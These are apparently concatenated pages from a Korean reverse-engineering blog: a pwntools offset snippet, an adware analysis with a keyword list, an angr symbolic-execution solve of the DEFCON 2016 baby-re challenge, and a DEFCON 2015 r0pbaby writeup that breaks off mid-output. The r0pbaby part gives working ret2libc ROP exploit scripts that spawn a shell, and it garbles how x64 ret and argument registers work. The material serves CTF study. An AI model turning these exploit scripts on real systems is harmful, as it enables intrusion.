반응형

 

[테스트 코드]

 

from pwn import *


elf = ELF('./a.out')
#rop = ROP(elf)
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

printf_system_offset = libc.symbols['printf'] - libc.symbols['system']

 

printf_plt = elf.plt['printf']
printf_got = elf.got['printf']

write_plt = elf.plt['write']
write_got = elf.got['write']

 

libc_start_main = elf.plt['__libc_start_main']

 

print '[*] printf@plt : %s' % str(hex(printf_plt))
print '[*] printf@got : %s' % str(hex(printf_got))
print '[*] write@plt : %s' % str(hex(write_plt))
print '[*] write@got : %s' % str(hex(write_got))
print '[*] printf - system : %s(%s)' % (str(hex(printf_system_offset)), str(int(printf_system_offset)))

print '[*] lib_strat_main : %s' % str(hex(libc_start_main))

 

[실행 결과]

 

[*] printf@plt : 0x8048500
[*] printf@got : 0x804c010
[*] write@plt : 0x8048590
[*] write@got : 0x804c034
[*] printf - system : 0xefd0(61392)
[*] lib_strat_main : 0x8048580

 


 

반응형

'Reverse > pwnable' 카테고리의 다른 글

[vagrant] CGC (Cyber Grand Challenge) 환경 구축  (0) 2016.08.02
[pwntools] test code  (0) 2016.07.27
[defcon 24 - 2016] Reversing - baby-re  (0) 2016.05.24
[defcon 23 - 2015] r0pbaby Writeup  (0) 2016.05.18
[pcf2013] ropasaurusrex  (0) 2016.05.11
반응형

 

wordpress.com 을 통해 검색어를 올려 놓고 해당 내용을 다운 받아서 네이버에 검색하는 adware 입니다.

이런 걸로 사업하다니.....

 

[[ 증상은 다음과 같습니다. ]]

1. 마우스 포커스를 잃습니다.

2. IE에 네이버를 통한 검색이 이뤄집니다.

3. C:\Documents and Settings\Analyzer\Local Settings\Temp\[랜덤문자].exe 파일 생성

(검색어 처리 하는 프로그램)

4. 자동실행 레지스트리 추가 - C:\windows\[랜덤문자].exe

 

[[ 검색어 리스트 - 키워드는 사업명이므로 제외 하였음. ]]

-- https://creat01~10.wordpress.com/

 [key]
키워드갯수=390
키워드인장=2016-06-21-19
[keyw1]
키워드=
찾을내용=하남 맛집
찾을내용2=팔당 맛집
[keyw2]
키워드=
찾을내용=세종기미
찾을내용2=세종시 제모
[keyw3]
키워드=
찾을내용=피부 관리기
찾을내용2=피부관리기
[keyw4]
키워드=
찾을내용=신지웨딩
찾을내용2=박주은 부산웨딩플래너
[keyw5]
키워드=
찾을내용=강남세란의원
찾을내용2=강남 목디스크
[keyw6]
키워드=
찾을내용=원주필러
찾을내용2=원주피부과추천
[keyw7]
키워드=
찾을내용=신혼가구추천
찾을내용2=일산가구할인매장
[keyw8]
키워드=
찾을내용=잠실 웨딩홀
찾을내용2=송파 웨딩홀
[keyw9]
키워드=
찾을내용=성북구 미용실
찾을내용2=살롱드프롬 성신여대살롱
[keyw10]
키워드=
찾을내용=구로 정형외과
찾을내용2=구로 한의원
[keyw11]
키워드=
찾을내용=기미치료
찾을내용2=얼굴잡티제거
[keyw12]
키워드=
찾을내용=노래강사자격증
찾을내용2=한국실버여가문화지도자협회
[keyw13]
키워드=
찾을내용=제모기
찾을내용2=제모기
[keyw14]
키워드=
찾을내용=천만모여
찾을내용2=아만다
[keyw15]
키워드=
찾을내용=분당 맛집
찾을내용2=분당맛집
[keyw16]
키워드=
찾을내용=김포 맛집
찾을내용2=김포맛집
[keyw17]
키워드=
찾을내용=부산대 맛집
찾을내용2=부산대맛집
[keyw18]
키워드=
찾을내용=콤비교정
찾을내용2=급속교정
[keyw19]
키워드=
찾을내용=압구정사주카페
찾을내용2=재미난천상
[keyw20]
키워드=
찾을내용=이대 맛집
찾을내용2=신촌역 맛집
............................................

 

배포자는 알아서 정리하길 바래요...( _ _ )

 

 

 

 

반응형
반응형

 

[[ 참고 : http://docs.angr.io/docs/examples.html ]]

 

[[ angr 설치 ]]

기존에 python이 설치 되어 있는 상태라면 설치 과정에서 컴파일이 안되는 상황이 발생합니다.

따라서, 깨끗한 환경에서 설치하기를 추천 합니다.

설치 방법은 다음과 같습니다.

 

1.  $ sudo apt-get install python-dev libffi-dev build-essential virtualenvwrapper

2.  .bashrc 2줄 추가

$ cat >> .bashrc

export WORKON_HOME="~/.envAngr"
source /usr/share/virtualenvwrapper/virtualenvwrapper.sh

^D

3. $ source .bashrc

 

 

 

 

4. $ mkvirtualenv angr && pip install angr

(pip install angr 만 해도 무방 합니다.)

5. 확인

$ python

>>> import angr

 

 

그럼 이제, Symbolic Execution을 진행 해보도록 하겠습니다.

 

Symbolic Execution이란 무엇이냐?

Symbol = 상징, 부호

Execution = 실행

특정한 값이 아닌 x, y, z와 같은 임의의 문자로 변환하여 프로그램을 구동 시키는 방식을 의미

참조 : http://inc0gnito.com/Inc0gnito/Automation%20of%20Software%20Vulnerability%20Analysis.pdf

 

그럼 angr 환경이 구축 되어 있으니, 어떻게 활용해야 하는지 확인 해보도록 합시다.

angr의 경우 시작 지점과 끝 지점을 지정하면 angr 스스로 프로그램이 동작하여 끝 지점까지 실행을 시켜 줍니다.

따라서, baby-re를 분석하면 다음 주소에서 eax가 1이면 flag 값을 표시하게 되어 있습니다.

 

...............................

.text:00000000004028E0 E8 E1 DD FF FF                                call    near ptr CheckSolution
.text:00000000004028E5 84 C0                                         test    al, al

.text:00000000004028E7 74 58                                         jz      short loc_402941 <--- 분기할 경우 "Wrong" 문자열이 출력 / 따라서, 분기 하지 않도록 test al, al 값을 맞춰야 합니다.


.text:00000000004028E9 44 8B 65 D0                                   mov     r12d, [rbp+var_30]
.text:00000000004028ED 8B 5D CC                                      mov     ebx, [rbp+var_34]
.text:00000000004028F0 44 8B 5D C8                                   mov     r11d, [rbp+var_38]
.text:00000000004028F4 44 8B 55 C4                                   mov     r10d, [rbp+var_3C]
.text:00000000004028F8 44 8B 4D C0                                   mov     r9d, [rbp+var_40]
.text:00000000004028FC 44 8B 45 BC                                   mov     r8d, [rbp+var_44]
.text:0000000000402900 8B 7D B8                                      mov     edi, [rbp+var_48]
.text:0000000000402903 8B 75 B4                                      mov     esi, [rbp+var_4C]
.text:0000000000402906 44 8B 75 B0                                   mov     r14d, [rbp+var_50]
.text:000000000040290A 44 8B 6D AC                                   mov     r13d, [rbp+var_54]
.text:000000000040290E 8B 4D A8                                      mov     ecx, [rbp+var_58]
.text:0000000000402911 8B 55 A4                                      mov     edx, [rbp+var_5C]
.text:0000000000402914 8B 45 A0                                      mov     eax, [rbp+var_60]
.text:0000000000402917 41 54                                         push    r12
.text:0000000000402919 53                                            push    rbx
.text:000000000040291A 41 53                                         push    r11
.text:000000000040291C 41 52                                         push    r10
.text:000000000040291E 41 51                                         push    r9
.text:0000000000402920 41 50                                         push    r8
.text:0000000000402922 57                                            push    rdi
.text:0000000000402923 56                                            push    rsi
.text:0000000000402924 45 89 F1                                      mov     r9d, r14d
.text:0000000000402927 45 89 E8                                      mov     r8d, r13d
.text:000000000040292A 89 C6                                         mov     esi, eax
.text:000000000040292C BF 88 2A 40 00                                mov     edi, offset aTheFlagIsCCCCC ; "The flag is: %c%c%c%c%c%c%c%c%c%c%c%c%c"...
.text:0000000000402931 B8 00 00 00 00                                mov     eax, 0
.text:0000000000402936 E8 45 DC FF FF                                call    _printf
.text:000000000040293B 48 83 C4 40                                   add     rsp, 40h
.text:000000000040293F EB 0A                                         jmp     short loc_40294B
.text:0000000000402941                               ; ---------------------------------------------------------------------------
.text:0000000000402941
.text:0000000000402941                               loc_402941:                             ; CODE XREF: main+300j
.text:0000000000402941 BF B1 2A 40 00                                mov     edi, offset s   ; "Wrong"
.text:0000000000402946 E8 15 DC FF FF                                call    _puts
.text:000000000040294B
.text:000000000040294B                               loc_40294B:                             ; CODE XREF: main+358j
.text:000000000040294B B8 00 00 00 00                                mov     eax, 0
.text:0000000000402950 48 8B 5D D8                                   mov     rbx, [rbp+var_28]
.text:0000000000402954 64 48 33 1C 25 28 00 00 00                    xor     rbx, fs:28h
.text:000000000040295D 74 05                                         jz      short loc_402964
.text:000000000040295F E8 0C DC FF FF                                call    ___stack_chk_fail 

 

.text:00000000004028E0 E8 E1 DD FF FF                             call    near ptr CheckSolution
.text:00000000004028E5 84 C0                                         test    al, al

 

al 값은 어디에서 참조 할까요? 그건 "CheckSolution" 함수를 확인 해야 합니다.

 

....................................................
.text:00000000004006C6                               CheckSolution   proc far                ; CODE XREF: main+2F9p
.text:00000000004006C6
.text:00000000004006C6                               var_2B8         = qword ptr -2B8h
.text:00000000004006C6                               var_2B0         = dword ptr -2B0h
.text:00000000004006C6                               var_2AC         = dword ptr -2ACh
.text:00000000004006C6                               var_2A8         = dword ptr -2A8h
.text:00000000004006C6                               var_2A4         = dword ptr -2A4h
.text:00000000004006C6                               var_2A0         = dword ptr -2A0h
.text:00000000004006C6                               var_29C         = dword ptr -29Ch
.text:00000000004006C6                               var_298         = dword ptr -298h
.text:00000000004006C6                               var_294         = dword ptr -294h
.text:00000000004006C6                               var_290         = dword ptr -290h
.text:00000000004006C6                               var_28C         = dword ptr -28Ch
.text:00000000004006C6                               var_288         = dword ptr -288h
.text:00000000004006C6                               var_284         = dword ptr -284h
.text:00000000004006C6                               var_280         = dword ptr -280h
.text:00000000004006C6                               var_27C         = dword ptr -27Ch
.text:00000000004006C6                               var_278         = dword ptr -278h
.text:00000000004006C6                               var_274         = dword ptr -274h
.text:00000000004006C6                               var_270         = dword ptr -270h
.text:00000000004006C6                               var_26C         = dword ptr -26Ch
.text:00000000004006C6                               var_268         = dword ptr -268h
.text:00000000004006C6                               var_264         = dword ptr -264h
.text:00000000004006C6                               var_260         = dword ptr -260h
.text:00000000004006C6                               var_25C         = dword ptr -25Ch
.text:00000000004006C6                               var_258         = dword ptr -258h

.................................................... 

 

CheckSolution() 안에 들어가면 머리 아픈 변수가 엄청나게 선언 되어 있습니다.

따라서, 이걸 손과 눈으로 따라가기엔 문제가 있다는 것을 직감할 수 있습니다.

 

그럼 우리가 원하는 al은 어디에서 사용 되었을까요?

그 부분은 쉽게 확인 할 수 있습니다.

바로 return 되기 전에 al 값을 설정하고 이후에 CheckSolution()가 나온 직후 비교를 하기 때문입니다.

따라서, return 주변을 확인하면 eax 값을 찾을 수 있습니다.

 

text:00000000004025B3 8B 00                                         mov     eax, [rax]
.text:00000000004025B5 0F AF C2                                      imul    eax, edx
.text:00000000004025B8 01 C8                                         add     eax, ecx
.text:00000000004025BA 3D 45 49 1B 00                                cmp     eax, 1788229    <--- 연산 된 값이 "1788229"와 같다면 mov eax, 1을 틀리면 mov eax, 0을 지정하고 return 하게 되어 있습니다.
.text:00000000004025BF 74 0B                                         jz      short loc_4025CC
.text:00000000004025C1 EB 02                                         jmp     short loc_4025C5
.text:00000000004025C1                               ; ---------------------------------------------------------------------------
.text:00000000004025C3 3E FB                                         db 3Eh, 0FBh
.text:00000000004025C5                               ; ---------------------------------------------------------------------------
.text:00000000004025C5
.text:00000000004025C5                               loc_4025C5:                             ; CODE XREF: CheckSolution+1EFBj
.text:00000000004025C5 B8 00 00 00 00                                mov     eax, 0
.text:00000000004025CA EB 05                                         jmp     short loc_4025D1
.text:00000000004025CC                               ; ---------------------------------------------------------------------------
.text:00000000004025CC
.text:00000000004025CC                               loc_4025CC:                             ; CODE XREF: CheckSolution+1EF9j
.text:00000000004025CC B8 01 00 00 00                                mov     eax, 1
.text:00000000004025D1
.text:00000000004025D1                               loc_4025D1:                             ; CODE XREF: CheckSolution+FD6j
.text:00000000004025D1                                                                       ; CheckSolution+111Ej ...
.text:00000000004025D1 48 8B 75 F8                                   mov     rsi, [rbp+var_8]
.text:00000000004025D5 64 48 33 34 25 28 00 00 00                    xor     rsi, fs:28h
.text:00000000004025DE 74 05                                         jz      short locret_4025E5
.text:00000000004025E0 E8 8B DF FF FF                                call    ___stack_chk_fail
.text:00000000004025E5                               ; ---------------------------------------------------------------------------
.text:00000000004025E5
.text:00000000004025E5                               locret_4025E5:                          ; CODE XREF: CheckSolution+1F18j
.text:00000000004025E5 C9                                            leave
.text:00000000004025E6 C3                                            retn 

 

그럼 우리는 Symbolic Execution을 진행할 때 어디에 지정하면 좋을까요?

눈치 빠른 분이면 알 수 있겠죠.

 

바로

 

.text:00000000004025CC B8 01 00 00 00                                mov     eax, 1

 

이 곳입니다.

이 부분은 정확한 계산 값이 아니면 찾아 올 수 없는 부분이므로 해당 부분에  대한 주소를 지정하고 Sysmbolic을 할경우 원하는 값을 찾을 수 있습니다.

 

위의 분석된 결과를 기반으로 작성 된 exploit 입니다.

 

[[ exploit.py ]]

import angr 

proj = angr.Project('./baby-re', load_options={"auto_load_libs": False}) 
initial_state = proj.factory.entry_state() 
path_group = proj.factory.path_group(initial_state) 
path_group.explore(find=0x4025cc)   <--- 목적지를 알려줍니다.

found = path_group.found[0] 

print "[%s]\n" % found
print found.state.se.any_str(found.state.memory.load(found.state.regs.rbp, 200))

 

[[ 실행 결과 ]]

 

babyhack@ubuntu:~/tmp/defcon2016$ python exp_baby-re.py
WARNING | 2016-05-30 17:58:08,140 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
WARNING | 2016-05-30 17:58:09,880 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
WARNING | 2016-05-30 17:58:12,636 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
WARNING | 2016-05-30 17:58:17,196 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
WARNING | 2016-05-30 17:58:23,512 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
WARNING | 2016-05-30 17:58:31,627 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
...............................................

WARNING | 2016-05-30 17:13:06,972 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
WARNING | 2016-05-30 17:13:51,269 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
WARNING | 2016-05-30 17:14:48,520 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
[<Path with 269 runs (at 0x4025cc)>]

 

��������(@Math is hard!``�@�������

 

실행 시킨 후 3-5분 정도 지나면 아래와 위와 같이 flag 문자열을 얻을 수 있습니다.

 

Flag is @Math is hard!

반응형

'Reverse > pwnable' 카테고리의 다른 글

[vagrant] CGC (Cyber Grand Challenge) 환경 구축  (0) 2016.08.02
[pwntools] test code  (0) 2016.07.27
[pwntools] 함수 offset 계산 방법  (0) 2016.07.21
[defcon 23 - 2015] r0pbaby Writeup  (0) 2016.05.18
[pcf2013] ropasaurusrex  (0) 2016.05.11
반응형

 

[[ 문제 ]]

https://github.com/ctfs/write-ups-2015/tree/master/defcon-qualifier-ctf-2015/babys-first/r0pbaby 

 

 

./r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 10
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
Bad choice.
Segmentation fault (core dumped)
babyhack@ubuntu:~/tmp$ ls 

 

내부 코드를 보면 다음과 같이 memcpy에서 overflow가 발생 합니다.

 

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  signed int v3; // eax@4
  unsigned __int64 v4; // r14@15
  int v5; // er13@17
  size_t v6; // r12@17
  int v7; // eax@18
  void *handle; // [rsp+8h] [rbp-448h]@1
  char nptr[1088]; // [rsp+10h] [rbp-440h]@2
  __int64 savedregs; // [rsp+450h] [rbp+0h]@22

  setvbuf(stdout, 0LL, 2, 0LL);
  signal(14, handler);
  alarm(0x3Cu);
  puts("\nWelcome to an easy Return Oriented Programming challenge...");
  puts("Menu:");
  handle = dlopen("libc.so.6", 1);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          Menu_sub_BF7();
          if ( !sub_B9A((__int64)nptr, 1024LL) )
          {
            puts("Bad choice.");
            return 0LL;
          }
          v3 = strtol(nptr, 0LL, 10);
          if ( v3 != 2 )
            break;
          __printf_chk(1LL, "Enter symbol: ");
          if ( sub_B9A((__int64)nptr, 64LL) )
          {
            dlsym(handle, nptr);
            __printf_chk(1LL, "Symbol %s: 0x%016llX\n");
          }
          else
          {
            puts("Bad symbol.");
          }
        }
        if ( v3 > 2 )
          break;
        if ( v3 != 1 )
          goto LABEL_24;
        __printf_chk(1LL, "libc.so.6: 0x%016llX\n");
      }
      if ( v3 != 3 )
        break;
      __printf_chk(1LL, "Enter bytes to send (max 1024): ");
      sub_B9A((__int64)nptr, 1024LL);
      v4 = (signed int)strtol(nptr, 0LL, 10);
      if ( v4 - 1 > 0x3FF )
      {
        puts("Invalid amount.");
      }
      else
      {
        if ( v4 )
        {
          v5 = 0;
          v6 = 0LL;
          while ( 1 )
          {
            v7 = _IO_getc(stdin);
            if ( v7 == -1 )
              break;
            nptr[v6] = v7;
            v6 = ++v5;
            if ( v4 <= v5 )
              goto LABEL_22;
          }
          v6 = v5 + 1;
        }
        else
        {
          v6 = 0LL;
        }
LABEL_22:
        memcpy(&savedregs, nptr, v6);    <---- memcpy를 입력한 숫자 만큼 입력 받음.
      }
    }
    if ( v3 == 4 )
      break;
LABEL_24:
    puts("Bad choice.");
  }
  dlclose(handle);
  puts("Exiting.");
  return 0LL;

 

해당 코드는 입력한 숫자 만큼 입력 값을 복사하고 입력한 숫자보다 많은 양이 들어올 경우 overflow가 발생하여

프로그램이 종료 됩니다.

 

공격하기 용이한 코드를 입력 해 볼까요?

 

babyhack@ubuntu:~/tmp$ (python -c 'print "3\n" + "20\n" + "a"*30 + "\n"';cat) | ./r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Enter bytes to send (max 1024): 1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.

Segmentation fault (core dumped)
babyhack@ubuntu:~/tmp$

 

편리한 공격 코드가 만들어졌으니 이제부턴 주소를 계산하여 실제 exploit을 작성해 보도록 하겠습니다.

이젠 gdb를 활용하여 메모리에 할당된 정보를 확인 해 봅시다.

 

babyhack@ubuntu:~/tmp$ gdb -q r0pbaby
Reading symbols from r0pbaby...(no debugging symbols found)...done.
(gdb) run
Starting program: /home/babyhack/tmp/r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 1
libc.so.6: 0x00007FFFF7FF79B0
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: system
Symbol system: 0x00007FFFF7857640
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff78fc810 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81 ../sysdeps/unix/syscall-template.S: No such file or directory.
(gdb) info proc map
process 11848
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
      0x555555554000     0x555555556000     0x2000        0x0 /home/babyhack/tmp/r0pbaby
      0x555555755000     0x555555757000     0x2000     0x1000 /home/babyhack/tmp/r0pbaby
      0x555555757000     0x555555778000    0x21000        0x0 [heap]
      0x7ffff7811000     0x7ffff79cc000   0x1bb000        0x0 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7ffff79cc000     0x7ffff7bcb000   0x1ff000   0x1bb000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7ffff7bcb000     0x7ffff7bcf000     0x4000   0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7ffff7bcf000     0x7ffff7bd1000     0x2000   0x1be000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7ffff7bd1000     0x7ffff7bd6000     0x5000        0x0
      0x7ffff7bd6000     0x7ffff7bd9000     0x3000        0x0 /lib/x86_64-linux-gnu/libdl-2.19.so
      0x7ffff7bd9000     0x7ffff7dd8000   0x1ff000     0x3000 /lib/x86_64-linux-gnu/libdl-2.19.so
      0x7ffff7dd8000     0x7ffff7dd9000     0x1000     0x2000 /lib/x86_64-linux-gnu/libdl-2.19.so
      0x7ffff7dd9000     0x7ffff7dda000     0x1000     0x3000 /lib/x86_64-linux-gnu/libdl-2.19.so
      0x7ffff7dda000     0x7ffff7dfd000    0x23000        0x0 /lib/x86_64-linux-gnu/ld-2.19.so
      0x7ffff7fdf000     0x7ffff7fe2000     0x3000        0x0
      0x7ffff7ff5000     0x7ffff7ff8000     0x3000        0x0
      0x7ffff7ff8000     0x7ffff7ffa000     0x2000        0x0 [vvar]
      0x7ffff7ffa000     0x7ffff7ffc000     0x2000        0x0 [vdso]
      0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x22000 /lib/x86_64-linux-gnu/ld-2.19.so
      0x7ffff7ffd000     0x7ffff7ffe000     0x1000    0x23000 /lib/x86_64-linux-gnu/ld-2.19.so
---Type <return> to continue, or q <return> to quit---

 

gdb를 통하여, bof를 발생 시키고 메모리를 확인 하도록 합니다.

 

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/babyhack/tmp/r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 10
AAAAABBBBBCCCCCDDDDD
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
Bad choice.

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7834242 in __strtok_r_1c (__nextp=<optimized out>, __sep=<optimized out>,
    __s=0x7ffff78fc870 <__write_nocancel+7> "H=\001\360\377\377s1\303H\203\354\b\350\356\310\001")
    at ../string/bits/string2.h:1161
1161 ../string/bits/string2.h: No such file or directory.
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/babyhack/tmp/r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 10
AAAABBBBCC

1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.

Program received signal SIGSEGV, Segmentation fault.
__gconv_open (toset=<error reading variable: Cannot access memory at address 0x42424242414140d1>,
    toset@entry=<error reading variable: Cannot access memory at address 0x4242424241414149>,
    fromset=<error reading variable: Cannot access memory at address 0x42424242414140d9>,
    fromset@entry=<error reading variable: Cannot access memory at address 0x4242424241414149>,
    handle=<error reading variable: Cannot access memory at address 0x42424242414140a9>,
    handle@entry=<error reading variable: Cannot access memory at address 0x4242424241414149>,
    flags=<error reading variable: Cannot access memory at address 0x42424242414140c9>,
    flags@entry=<error reading variable: Cannot access memory at address 0x4242424241414149>) at gconv_open.c:93
93 gconv_open.c: No such file or directory.
(gdb)

 

입력 받을 숫자를 입력하고 입력한 숫자만큼 문자를 입력할 경우 주소를 컨트롤 가능합니다.

따라서, 쉘코드가 충분히 들어갈 수 있는 사이즈로 입력 크기를 잡고 메모리 확인을 해야 합니다.

 

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 20
AAAABBBBCCCCDDDDEEEE

1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.

Program received signal SIGSEGV, Segmentation fault.
0x0000555555554eb3 in ?? ()
(gdb) x/i $rip
=> 0x555555554eb3: retq  
(gdb) x/gw $rsp
0x7fffffffdf28: 0x43434343
(gdb)  

 

ret 명령어는 esp의 첫번째 주소를 가지고 옵니다.

하지만, x64의 경우는 ret 명령어는 rdi의 주소를 가지고 오므로 pop rdi; ret 주소가 필요하게 됩니다.

 

[[ x64 ret 주소 참조 순서 ]] 

rdi -> rsi -> rdx -> r10 -> r9 -> r8 > .......

 

따라서, Gadget을 찾아야 합니다.

(※ rp++를 활용하면 쉽게 얻을 수 있습니다.)

 

babyhack@ubuntu:~/tmp$ ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc.so.6 -r 4 | grep "pop rdi" | more
.......................
0x0002c46f: pop rdi ; ret  ;  (1 found)
0x0002c581: pop rdi ; ret  ;  (1 found)
0x0002cdf5: pop rdi ; ret  ;  (1 found)
0x0002d087: pop rdi ; ret  ;  (1 found)
0x0002dd87: pop rdi ; ret  ;  (1 found)
0x0002f72c: pop rdi ; ret  ;  (1 found
................ 

 

그럼 이젠 payload를 작성해 보도록 하겠습니다.

 

[buff] +  gadget [pop rdi; ret] + [/bin/sh string addr] + [system addr]

 

[[ /bin/sh 문자열 offset 확인 ]]
babyhack@ubuntu:~/tmp$ strings -a -tx /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
 17ccdb /bin/sh
babyhack@ubuntu:~/tmp$

 

[[ system 함수 offset 확인 ]]

babyhack@ubuntu:~/tmp$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep "system"
   223: 000000000012b2c0    70 FUNC    GLOBAL DEFAULT   12 svcerr_systemerr@@GLIBC_2.2.5
   577: 0000000000046640    45 FUNC    GLOBAL DEFAULT   12 __libc_system@@GLIBC_PRIVATE
  1337: 0000000000046640    45 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.2.5
babyhack@ubuntu:~/tmp$

 

[[ 라이브러리 주소 확인 ]]

babyhack@ubuntu:~/tmp$ ldd ./r0pbaby
 linux-vdso.so.1 =>  (0x00007ffca2aeb000)
 libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f2b712e3000)
 libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f2b70f1e000)
 /lib64/ld-linux-x86-64.so.2 (0x00007f2b716ea000)
babyhack@ubuntu:~/tmp$

 

그럼 exploit을 짜봅시다.

 

[[ exploit - 1 ]]

 

from pwn import *
from struct import *

endian = lambda x:struct.pack('<Q', x)

binsh_offset = 0x17ccdb
pop_ret_offset = 0x2c581
system_offset = 0x46640

 

s = process("./r0pbaby")
print s.recvuntil(": ") # Menu

 

s.send("1\n")           # 1. Get libc address
get_libc_addr = s.recv(2048)
print "[*] %s " % get_libc_addr
libc_addr = eval(get_libc_addr.split(':')[1])
print "[*] libc split : 0x%08X" % libc_addr

 

print s.recvuntil(": ") # Menu

s.send("2\n")           # 2. Get address of a libc function
print "[*] %s " % s.recv(2048)
s.send("system\n")      # "system" function
system_recv = s.recv(2014)
print "[recv] %s" % system_recv
system_addr = eval(system_recv.split(':')[1])

 

# payload
payload = "A" * 8
payload += endian(libc_addr + pop_ret_offset) # pop rdi; ret;
payload += endian(libc_addr + binsh_offset)
payload += endian(system_addr)

print "[*] Payload : %s" % payload

s.send("3\n")
s.recv(1024)
s.send("%d\n" %(len(payload)+1))
s.send(payload + "\n")
s.send("4\n")
s.recv(1024)
s.interactive() 

 

 

[[ 결과 ]]

babyhack@ubuntu:~/tmp$ python exp.py
[+] Started program './r0pbaby'

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
[*] libc.so.6: 0x00007FC2C2A989B0
 
[*] libc split : 0x7FC2C2A989B0
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
[*] Enter symbol: 
[recv] Symbol system: 0x00007FC2C20F0640

[*] Payload : AAAAAAAA1O\xac��\x7f\x00\x00\x8bV���\x00\x00@\x06\x0f��\x7f\x00\x00
[*] Switching to interactive mode
[*] Got EOF while reading in interactive

 

쉘은 떨어졌지만 명령어가 입력되지 않습니다.

따라서, 주소를 다시 얻어서 사용하는 방식으로 코드를 수정 했습니다.

 

[[ exp 2.py ]]

 

from pwn import *
from struct import *

 

endian = lambda x:struct.pack('<Q', x)

binsh_offset = 0x17ccdb
pop_ret_offset = 0x2c581
system_offset = 0x46640

 

s = process("./r0pbaby")

print s.recvuntil(": ") # Menu

s.send("1\n")           # 1. Get libc address
get_libc_addr = s.recv(2048)
print "[*] %s " % get_libc_addr
libc_addr = eval(get_libc_addr.split(':')[1])
print "[*] libc split : 0x%08X" % libc_addr

 

print s.recvuntil(": ") # Menu

s.send("2\n")           # 2. Get address of a libc function
print "[*] %s " % s.recv(2048)
s.send("system\n")      # "system" function
system_recv = s.recv(2014)
print "[recv] %s" % system_recv

system_addr = eval(system_recv.split(':')[1])

print "[*] System Addr split : 0x%08X" % system_addr
libc_base = system_addr - system_offset
print "[*] calc - libc_base : 0x%08X" % libc_base

 

# payload
payload = "A" * 8
payload += endian(libc_base + pop_ret_offset) # pop rdi; ret;
payload += endian(libc_base + binsh_offset)
payload += endian(system_addr)

print "[*] Payload : %s" % payload

 

s.send("3\n")
s.recv(1024)
s.send("%d\n" %(len(payload)+1))
s.send(payload + "\n")
s.send("4\n")

s.interactive() 

 

[[ 결과 ]] 

 

babyhack@ubuntu:~/tmp$ python 2exp.py
[+] Started program './r0pbaby'

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
[*] libc.so.6: 0x00007F433F12D9B0
 
[*] libc split : 0x7F433F12D9B0
1) Get libc address
2) Get address of a libc function
